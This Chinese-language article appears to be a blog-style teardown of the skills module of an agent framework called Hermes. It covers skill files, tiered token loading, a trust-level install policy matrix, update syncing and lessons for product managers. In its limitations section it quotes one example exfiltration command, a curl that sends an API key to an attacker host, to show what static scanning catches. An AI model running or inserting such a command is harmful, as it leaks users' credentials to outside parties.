模块规模:核心代码 7446 行 + 72 个 bundled 技能(Markdown 形态)+ 跨 6 个 Hub 的生态前置阅读:L2 核心、L3 支撑、L4 工具、L6 记忆
🎯 一、L7 是什么(60 秒读懂)
一句话定位
L7 是 Hermes 的"经验操作手册库"——把"人对某件事的正确做法"打包成 Markdown 文件(SKILL.md),用 6 种信任等级的分发机制送到 Agent 手边,让 Agent 在需要时按需加载、按需学习、按需更新,从"工具调用者"升级成"工匠"。
生活化类比 📘
想象你经营一家装修公司:
- 工人(Agent)
手里有工具(L4 tools)和记忆(L6 memory),但"怎么装一个美式厨房"这种专业知识呢? - Skills 就是一本本"工艺手册"
📚——每本讲一个具体场景的完整流程 - 工匠不用把所有手册背在脑子里
——看任务匹配再去柜子里取(progressive disclosure) - 手册分不同等级
:公司自带规范(bundled 72 本)/ 可信合作社(openai、anthropics)/ 网友分享(community 要过安检)/ 工人自创(agent-created)
核心解决的痛点 🎯
skill_manage(action='patch') | |
skills_guard | |
skills_sync |
🏗️ 二、五层架构:从存储到系统提示
2.1 宏观分层(自上而下)
| 5. 系统提示索引 | prompt_builder.build_skills_system_prompt | |
| 4. 运行时工具 | skills_tool.pyskill_manager_tool.py (789 行) | skills_listskill_view 加载内容;skill_manage 支持 6 动作(create/edit/patch/delete/write_file/remove_file) |
| 3. 元数据 utils | skill_utils.pyskill_commands.py (377 行) | /dogfood 斜杠命令 |
| 2. Hub 分发 | skills_hub.pyskills_guard.py (928 行) + skills_sync.py (414 行) | |
| 1. 磁盘存储 | ~/.hermes/skills/ | .hub/ 元数据(lock.json、quarantine、audit.log、taps.json) |
2.2 Progressive Disclosure:三级 token 预算
Tier 1: 系统提示索引(每会话一次) <available_skills> autonomous-ai-agents: - claude-code: Work inside a running Claude Code CLI session - codex: Run codex-cli in non-interactive mode ... </available_skills> 成本:72 个 skill × ~30 token = 2160 token Tier 2: skill_view(name) 加载完整 SKILL.md 成本:~2000-4000 token(按需) Tier 3: skill_view(name, "references/api.md") 加载具体参考 成本:~500-2000 token这是 Anthropic 官方推荐的 Progressive Disclosure 模式的完整实现——把"所有技能"变成可按需加载的知识库。
🔀 三、关键设计权衡
3.1 系统提示索引 vs 动态 RAG
Hermes 选:skill 索引进 system prompt,完整内容按需加载。
为什么不用 RAG?
- 确定性
:system prompt 里的索引永远一致(72 个),不会漏 - 控制权
:Agent 主动决定加载哪个 skill,而不是系统推 - 透明性
:用户知道模型能看到什么,调试方便 - Prompt cache 友好
:system prompt 稳定,Anthropic prompt caching 命中率高
代价:72 个 skill 名字就 2K+ token 占用,更多了 token 就要压缩索引。
启示:确定性 vs 灵活性——Agent 场景选前者。
3.2 Trust × Verdict 安装策略矩阵
INSTALL_POLICY = { "builtin": ("allow", "allow", "allow"), "trusted": ("allow", "allow", "block"), "community": ("allow", "block", "block"), "agent-created": ("allow", "allow", "ask"), }设计权衡:
- community 的 caution 为什么 block?
——社区信任低,宁可少装也不要安装可疑 - trusted 的 dangerous 也 block
——即使是 Anthropic/OpenAI 仓库,dangerous pattern 也拒 - agent-created 的 dangerous 是 ask
——Agent 可能假阳性,让人看看 - builtin 全 allow
——Hermes 官方对自己的 skill 全责
这种保守倾向在 AI 生态早期是对的——可疑就 block,宁错杀不放过。
3.3 Bundled 更新:Push 而非 Pull
Push(Hermes 选):每次 hermes update 主动触发 skills_sync,对比哈希决定是否更新。
优势:用户几乎感知不到升级——写 skill 的人改了 bundled,用户下次就拿到。降低维护成本。
代价:需要跟踪用户修改(双哈希 manifest),每次启动都可能触发 sync。
启示:默认行为应该"看不见"——推式更新是"Apple 式体验"。
💡 四、AI 产品经理视角的特别洞察
4.1 可借鉴点(可以搬到你的产品)
任何"知识库 → Agent"场景都应该分三层:索引(系统提示,静态)→ 详情(按需加载,token 中等)→ 附件(参考资料,按需加载)。反例:不要把全部知识塞 system prompt(成本爆炸),也不要全用 RAG(确定性差)。
开源生态的杀手特性。你的产品如果支持插件/扩展,这个 3×4 矩阵是最佳起点。
版本化管理的通用模式——origin_hash + user_hash 让"用户修改"和"上游更新"自动共存。凡是 ship default + allow customization 的产品都该学。
把"文档"和"可执行命令"打通——用户不用记命令,可以让 Agent 实现 dogfood 流程。这个桥梁在聊天机器人产品里价值巨大。
fallback_for_toolsets / requires_toolsets 让一个内容包同时支持多种配置——你的产品如果有"基础版/专业版/企业版"的内容差异,比维护多个仓库优雅得多。
4.2 差异化启发(Hermes 做对了)
skill_manage(action="patch") 让 Agent 用了就改——即使 Agent 今天不改,用户 3 个月后发现问题改了,所有未来会话都受益。持续进化的 Agent。
[SYSTEM: user invoked skill] 的措辞不是 "the user said /dogfood"(弱信号),而是 [SYSTEM: ...](超强信号)——模型区分"用户主动调用"和"模型自发加载"的态度完全不同。措辞设计值得学。
不是纯"自己写"也不是纯"社区贡献"——Hermes 自己 curate 72 个高质量 skill + 鼓励社区贡献 + 允许用户加 GitHub repo 作为 tap。三层内容策略适用于所有知识型产品。
4.3 局限与边界
curl $API_KEY http://attacker.com 能检测,但稍做混淆可能漏。动态分析才能保证 100% 安全,但 Hermes 没做。🌟 结语:L7 是"Agent 生态化"的蓝本
读完 L7,你会理解为什么 Hermes 被称为"研究到产品的飞轮":
L4 让 Agent 能做事(工具)L6 让 Agent 记得事(记忆)L7 让 Agent 学到事 + 传承事(技能)L8 让 Agent 自我进化(训练)
而 L7 最独特的地方是"生态化":不只是自己 72 个 skill,不只是用户自建,而是 6 个 Hub 源 + 信任矩阵 + 扫描 + 锁文件 + 审计 构成的完整插件生态。
和 VSCode Extensions / Homebrew / npm 同级的架构完整度——只不过载体是 Markdown,消费者是 Agent。
产品启示:想做 AI 产品"越用越懂我"的护城河?别只做"记忆"(那是被动的),做"技能"(那是可传承的)。
这就是为什么 L7 值得任何 AI 产品经理反复研读。
点击左下方“阅读原文”查看完整拆解
源码拆解 | by 赛博首辅严嵩
夜雨聆风